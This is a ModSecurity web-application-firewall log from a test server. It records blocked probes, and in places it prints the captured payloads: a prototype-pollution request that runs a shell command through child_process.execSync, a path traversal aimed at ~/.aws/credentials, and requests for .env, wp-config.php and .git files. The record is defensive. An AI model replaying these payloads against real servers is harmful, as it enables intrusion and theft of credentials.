[Mon Jan 12 12:32:02.020297 2026] [:error] [pid 1365295] [client 35.180.31.174:36678] [client 35.180.31.174] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.2"] [unique_id "aWTbsg7npFhQv7HWuOadewAAAAo"]
[Mon Jan 12 12:32:02.020456 2026] [:error] [pid 1365295] [client 35.180.31.174:36678] [client 35.180.31.174] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.2"] [unique_id "aWTbsg7npFhQv7HWuOadewAAAAo"]
[Mon Jan 12 13:39:53.177628 2026] [:error] [pid 1365300] [client 85.11.167.4:40394] [client 85.11.167.4] ModSecurity: Warning. Pattern match "(?:;|\\\\{|\\\\||\\\\|\\\\||&|&&|\\\\n|\\\\r|\\\\$\\\\(|\\\\$\\\\(\\\\(|`|\\\\${|<\\\\(|>\\\\(|\\\\(\\\\s*\\\\))\\\\s*(?:{|\\\\s*\\\\(\\\\s*|\\\\w+=(?:[^\\\\s]*|\\\\$.*|\\\\$.*|<.*|>.*|\\\\'.*\\\\'|\\".*\\")\\\\s+|!\\\\s*|\\\\$)*\\\\s*(?:'|\\")*(?:[\\\\?\\\\*\\\\[\\\\]\\\\(\\\\)\\\\-\\\\|+\\\\w'\\"\\\\./\\\\\\\\]+/)?[\\\\\\\\'\\"]*(?:s[\\\\\\\\'\\"]* ..." at ARGS:0. [file "/usr/share/modsecurity-crs/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "160"] [id "932105"] [msg "Remote Command Execution: Unix Command Injection"] [data "Matched Data: {'timeout found within ARGS:0: {\\x22_response\\x22:{\\x22_formData\\x22:{\\x22get\\x22:\\x22$1:constructor:constructor\\x22},\\x22_prefix\\x22:\\x22var res=process.mainModule.require('child_process').execSync('echo VULN_1768221593_6096',{'timeout':30000}).toString();throw Object.assign(new Error('NEXT_REDIRECT'),{digest:`${res}`});\\x22},\\x22reason\\x22:-1,\\x22status\\x22:\\x22resolved_model\\x22,\\x22then\\x22:\\x22$1:__proto__:then\\x22,\\x22value\\x22:\\x22{\\x5c\\x22then\\x5c\\x22: \\x5c\\x22$B0\\x5c\\x22}\\x22}"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "aWTrmdlKlmIJBGbQbR78aQAAAAs"], referer: https://forst-trento.test.indacotrentino.com
[Mon Jan 12 13:39:53.178466 2026] [:error] [pid 1365300] [client 85.11.167.4:40394] [client 85.11.167.4] ModSecurity: Warning. Pattern match "(?i)(?:;|\\\\{|\\\\||\\\\|\\\\||&|&&|\\\\n|\\\\r|`)\\\\s*[\\\\(,@\\\\'\\"\\\\s]*(?:[\\\\w'\\"\\\\./]+/|[\\\\\\\\'\\"\\\\^]*\\\\w[\\\\\\\\'\\"\\\\^]*:.*\\\\\\\\|[\\\\^\\\\.\\\\w '\\"/\\\\\\\\]*\\\\\\\\)?[\\"\\\\^]*(?:s[\\"\\\\^]*(?:y[\\"\\\\^]*s[\\"\\\\^]*(?:t[\\"\\\\^]*e[\\"\\\\^]*m[\\"\\\\^]*(?:p[\\"\\\\^]*r[\\"\\\\^]*o[\\"\\\\^]*p[\\"\\\\^]*e ..." at ARGS:0. [file "/usr/share/modsecurity-crs/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "298"] [id "932115"] [msg "Remote Command Execution: Windows Command Injection"] [data "Matched Data: {'timeout found within ARGS:0: {\\x22_response\\x22:{\\x22_formData\\x22:{\\x22get\\x22:\\x22$1:constructor:constructor\\x22},\\x22_prefix\\x22:\\x22var res=process.mainModule.require('child_process').execSync('echo VULN_1768221593_6096',{'timeout':30000}).toString();throw Object.assign(new Error('NEXT_REDIRECT'),{digest:`${res}`});\\x22},\\x22reason\\x22:-1,\\x22status\\x22:\\x22resolved_model\\x22,\\x22then\\x22:\\x22$1:__proto__:then\\x22,\\x22value\\x22:\\x22{\\x5c\\x22then\\x5c\\x22: \\x5c\\x22$B0\\x5c\\x22}\\x22}"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [ [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "aWTrmdlKlmIJBGbQbR78aQAAAAs"], referer: https://forst-trento.test.indacotrentino.com
[Mon Jan 12 13:39:53.178562 2026] [:error] [pid 1365300] [client 85.11.167.4:40394] [client 85.11.167.4] ModSecurity: Warning. Pattern match "(?:\\\\$(?:\\\\((?:\\\\(.*\\\\)|.*)\\\\)|\\\\{.*\\\\})|[<>]\\\\(.*\\\\))" at ARGS:0. [file "/usr/share/modsecurity-crs/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "372"] [id "932130"] [msg "Remote Command Execution: Unix Shell Expression Found"] [data "Matched Data: ${res}`}) } reason:-1 status:resolved_model then:$1:__proto__:then value:{then: $b0}} found within ARGS:0: {_response:{_formdata:{get:$1:constructor:constructor} _prefix:var res=process.mainmodule.require(child_process).execsync(echo vuln_1768221593_6096 {timeout:30000}).tostring() throw object.assign(new error(next_redirect) {digest:`${res}`}) } reason:-1 status:resolved_model then:$1:__proto__:then value:{then: $b0}}"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-shell"] [tag "platform-unix"] [tag "attack-rce"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/COMMAND_INJECTION"] [tag "WASCTC/WASC-31"] [tag "OWASP_TOP_10/A1"] [tag "PCI/6.5.2"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "aWTrmdlKlmIJBGbQbR78aQAAAAs"], referer: https://forst-trento.test.indacotrentino.com
[Mon Jan 12 13:39:53.179756 2026] [:error] [pid 1365300] [client 85.11.167.4:40394] [client 85.11.167.4] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 15)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "aWTrmdlKlmIJBGbQbR78aQAAAAs"], referer: https://forst-trento.test.indacotrentino.com
[Mon Jan 12 13:39:53.179909 2026] [:error] [pid 1365300] [client 85.11.167.4:40394] [client 85.11.167.4] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=15,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 15, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "aWTrmdlKlmIJBGbQbR78aQAAAAs"], referer: https://forst-trento.test.indacotrentino.com
[Mon Jan 12 13:39:53.315513 2026] [:error] [pid 1358564] [client 85.11.167.4:40402] [client 85.11.167.4] ModSecurity: Warning. Pattern match "(?:;|\\\\{|\\\\||\\\\|\\\\||&|&&|\\\\n|\\\\r|\\\\$\\\\(|\\\\$\\\\(\\\\(|`|\\\\${|<\\\\(|>\\\\(|\\\\(\\\\s*\\\\))\\\\s*(?:{|\\\\s*\\\\(\\\\s*|\\\\w+=(?:[^\\\\s]*|\\\\$.*|\\\\$.*|<.*|>.*|\\\\'.*\\\\'|\\".*\\")\\\\s+|!\\\\s*|\\\\$)*\\\\s*(?:'|\\")*(?:[\\\\?\\\\*\\\\[\\\\]\\\\(\\\\)\\\\-\\\\|+\\\\w'\\"\\\\./\\\\\\\\]+/)?[\\\\\\\\'\\"]*(?:s[\\\\\\\\'\\"]* ..." at ARGS:0. [file "/usr/share/modsecurity-crs/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "160"] [id "932105"] [msg "Remote Command Execution: Unix Command Injection"] [data "Matched Data: {'timeout found within ARGS:0: {\\x22_response\\x22:{\\x22_formData\\x22:{\\x22get\\x22:\\x22$1:constructor:constructor\\x22},\\x22_prefix\\x22:\\x22var res=process.mainModule.require('child_process').execSync('echo TEST_1768221593',{'timeout':30000}).toString();throw Object.assign(new Error('NEXT_REDIRECT'),{digest:`${res}`});\\x22},\\x22reason\\x22:-1,\\x22status\\x22:\\x22resolved_model\\x22,\\x22then\\x22:\\x22$1:__proto__:then\\x22,\\x22value\\x22:\\x22{\\x5c\\x22then\\x5c\\x22: \\x5c\\x22$B0\\x5c\\x22}\\x22}"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "app [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "aWTrmR_UgGRJ4jDk47tQfgAAAAY"], referer: https://forst-trento.test.indacotrentino.com
[Mon Jan 12 13:39:53.315643 2026] [:error] [pid 1358564] [client 85.11.167.4:40402] [client 85.11.167.4] ModSecurity: Warning. Pattern match "(?i)(?:;|\\\\{|\\\\||\\\\|\\\\||&|&&|\\\\n|\\\\r|`)\\\\s*[\\\\(,@\\\\'\\"\\\\s]*(?:[\\\\w'\\"\\\\./]+/|[\\\\\\\\'\\"\\\\^]*\\\\w[\\\\\\\\'\\"\\\\^]*:.*\\\\\\\\|[\\\\^\\\\.\\\\w '\\"/\\\\\\\\]*\\\\\\\\)?[\\"\\\\^]*(?:s[\\"\\\\^]*(?:y[\\"\\\\^]*s[\\"\\\\^]*(?:t[\\"\\\\^]*e[\\"\\\\^]*m[\\"\\\\^]*(?:p[\\"\\\\^]*r[\\"\\\\^]*o[\\"\\\\^]*p[\\"\\\\^]*e ..." at ARGS:0. [file "/usr/share/modsecurity-crs/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "298"] [id "932115"] [msg "Remote Command Execution: Windows Command Injection"] [data "Matched Data: {'timeout found within ARGS:0: {\\x22_response\\x22:{\\x22_formData\\x22:{\\x22get\\x22:\\x22$1:constructor:constructor\\x22},\\x22_prefix\\x22:\\x22var res=process.mainModule.require('child_process').execSync('echo TEST_1768221593',{'timeout':30000}).toString();throw Object.assign(new Error('NEXT_REDIRECT'),{digest:`${res}`});\\x22},\\x22reason\\x22:-1,\\x22status\\x22:\\x22resolved_model\\x22,\\x22then\\x22:\\x22$1:__proto__:then\\x22,\\x22value\\x22:\\x22{\\x5c\\x22then\\x5c\\x22: \\x5c\\x22$B0\\x5c\\x22}\\x22}"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag " [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "aWTrmR_UgGRJ4jDk47tQfgAAAAY"], referer: https://forst-trento.test.indacotrentino.com
[Mon Jan 12 13:39:53.315727 2026] [:error] [pid 1358564] [client 85.11.167.4:40402] [client 85.11.167.4] ModSecurity: Warning. Pattern match "(?:\\\\$(?:\\\\((?:\\\\(.*\\\\)|.*)\\\\)|\\\\{.*\\\\})|[<>]\\\\(.*\\\\))" at ARGS:0. [file "/usr/share/modsecurity-crs/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "372"] [id "932130"] [msg "Remote Command Execution: Unix Shell Expression Found"] [data "Matched Data: ${res}`}) } reason:-1 status:resolved_model then:$1:__proto__:then value:{then: $b0}} found within ARGS:0: {_response:{_formdata:{get:$1:constructor:constructor} _prefix:var res=process.mainmodule.require(child_process).execsync(echo test_1768221593 {timeout:30000}).tostring() throw object.assign(new error(next_redirect) {digest:`${res}`}) } reason:-1 status:resolved_model then:$1:__proto__:then value:{then: $b0}}"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-shell"] [tag "platform-unix"] [tag "attack-rce"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/COMMAND_INJECTION"] [tag "WASCTC/WASC-31"] [tag "OWASP_TOP_10/A1"] [tag "PCI/6.5.2"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "aWTrmR_UgGRJ4jDk47tQfgAAAAY"], referer: https://forst-trento.test.indacotrentino.com
[Mon Jan 12 13:39:53.316769 2026] [:error] [pid 1358564] [client 85.11.167.4:40402] [client 85.11.167.4] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 15)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "aWTrmR_UgGRJ4jDk47tQfgAAAAY"], referer: https://forst-trento.test.indacotrentino.com
[Mon Jan 12 13:39:53.316931 2026] [:error] [pid 1358564] [client 85.11.167.4:40402] [client 85.11.167.4] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=15,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 15, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "aWTrmR_UgGRJ4jDk47tQfgAAAAY"], referer: https://forst-trento.test.indacotrentino.com
[Tue Jan 13 03:49:31.073927 2026] [:error] [pid 1377543] [client 195.178.110.68:24214] [client 195.178.110.68] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aWWyuzL9P8MnNEiieOiX1wAAAAI"]
[Tue Jan 13 03:49:31.074149 2026] [:error] [pid 1377543] [client 195.178.110.68:24214] [client 195.178.110.68] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aWWyuzL9P8MnNEiieOiX1wAAAAI"]
[Tue Jan 13 03:49:31.074354 2026] [:error] [pid 1377543] [client 195.178.110.68:24214] [client 195.178.110.68] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aWWyuzL9P8MnNEiieOiX1wAAAAI"]
[Tue Jan 13 03:49:31.885237 2026] [:error] [pid 1377543] [client 195.178.110.68:24214] [client 195.178.110.68] ModSecurity: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php"] [unique_id "aWWyuzL9P8MnNEiieOiX2AAAAAI"]
[Tue Jan 13 03:49:31.885441 2026] [:error] [pid 1377543] [client 195.178.110.68:24214] [client 195.178.110.68] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php"] [unique_id "aWWyuzL9P8MnNEiieOiX2AAAAAI"]
[Tue Jan 13 03:49:31.885641 2026] [:error] [pid 1377543] [client 195.178.110.68:24214] [client 195.178.110.68] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php"] [unique_id "aWWyuzL9P8MnNEiieOiX2AAAAAI"]
[Tue Jan 13 03:49:32.019510 2026] [:error] [pid 1377543] [client 195.178.110.68:24214] [client 195.178.110.68] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aWWyvDL9P8MnNEiieOiX2QAAAAI"]
[Tue Jan 13 03:49:32.019710 2026] [:error] [pid 1377543] [client 195.178.110.68:24214] [client 195.178.110.68] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aWWyvDL9P8MnNEiieOiX2QAAAAI"]
[Tue Jan 13 03:49:32.019866 2026] [:error] [pid 1377543] [client 195.178.110.68:24214] [client 195.178.110.68] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aWWyvDL9P8MnNEiieOiX2QAAAAI"]
[Tue Jan 13 03:49:32.149871 2026] [:error] [pid 1377543] [client 195.178.110.68:24214] [client 195.178.110.68] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/head"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/HEAD"] [unique_id "aWWyvDL9P8MnNEiieOiX2gAAAAI"]
[Tue Jan 13 03:49:32.150073 2026] [:error] [pid 1377543] [client 195.178.110.68:24214] [client 195.178.110.68] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/HEAD"] [unique_id "aWWyvDL9P8MnNEiieOiX2gAAAAI"]
[Tue Jan 13 03:49:32.150245 2026] [:error] [pid 1377543] [client 195.178.110.68:24214] [client 195.178.110.68] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/HEAD"] [unique_id "aWWyvDL9P8MnNEiieOiX2gAAAAI"]
[Tue Jan 13 03:49:32.652717 2026] [:error] [pid 1377543] [client 195.178.110.68:24214] [client 195.178.110.68] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "46"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI_RAW: /pms?module=logging&file_name=../../../../../../~/.aws/credentials&number_of_lines=10000"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/pms"] [unique_id "aWWyvDL9P8MnNEiieOiX3AAAAAI"]
[Tue Jan 13 03:49:32.652777 2026] [:error] [pid 1377543] [client 195.178.110.68:24214] [client 195.178.110.68] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "69"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /pms?module=logging&file_name=../../../../../../~/.aws/credentials&number_of_lines=10000"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/pms"] [unique_id "aWWyvDL9P8MnNEiieOiX3AAAAAI"]
[Tue Jan 13 03:49:32.652825 2026] [:error] [pid 1377543] [client 195.178.110.68:24214] [client 195.178.110.68] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "69"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /pms?module=logging&file_name=../../../../../../~/.aws/credentials&number_of_lines=10000"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/pms"] [unique_id "aWWyvDL9P8MnNEiieOiX3AAAAAI"]
[Tue Jan 13 03:49:32.653443 2026] [:error] [pid 1377543] [client 195.178.110.68:24214] [client 195.178.110.68] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 15)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/pms"] [unique_id "aWWyvDL9P8MnNEiieOiX3AAAAAI"]
[Tue Jan 13 03:49:32.653606 2026] [:error] [pid 1377543] [client 195.178.110.68:24214] [client 195.178.110.68] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=15,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 15, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/pms"] [unique_id "aWWyvDL9P8MnNEiieOiX3AAAAAI"]
[Tue Jan 13 03:49:34.379883 2026] [:error] [pid 1377543] [client 195.178.110.68:24214] [client 195.178.110.68] ModSecurity: Warning. Matched phrase ".aws/config" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: .aws/config found within REQUEST_FILENAME: /.aws/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.aws/config"] [unique_id "aWWyvjL9P8MnNEiieOiX3gAAAAI"]
[Tue Jan 13 03:49:34.380081 2026] [:error] [pid 1377543] [client 195.178.110.68:24214] [client 195.178.110.68] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.aws/config"] [unique_id "aWWyvjL9P8MnNEiieOiX3gAAAAI"]
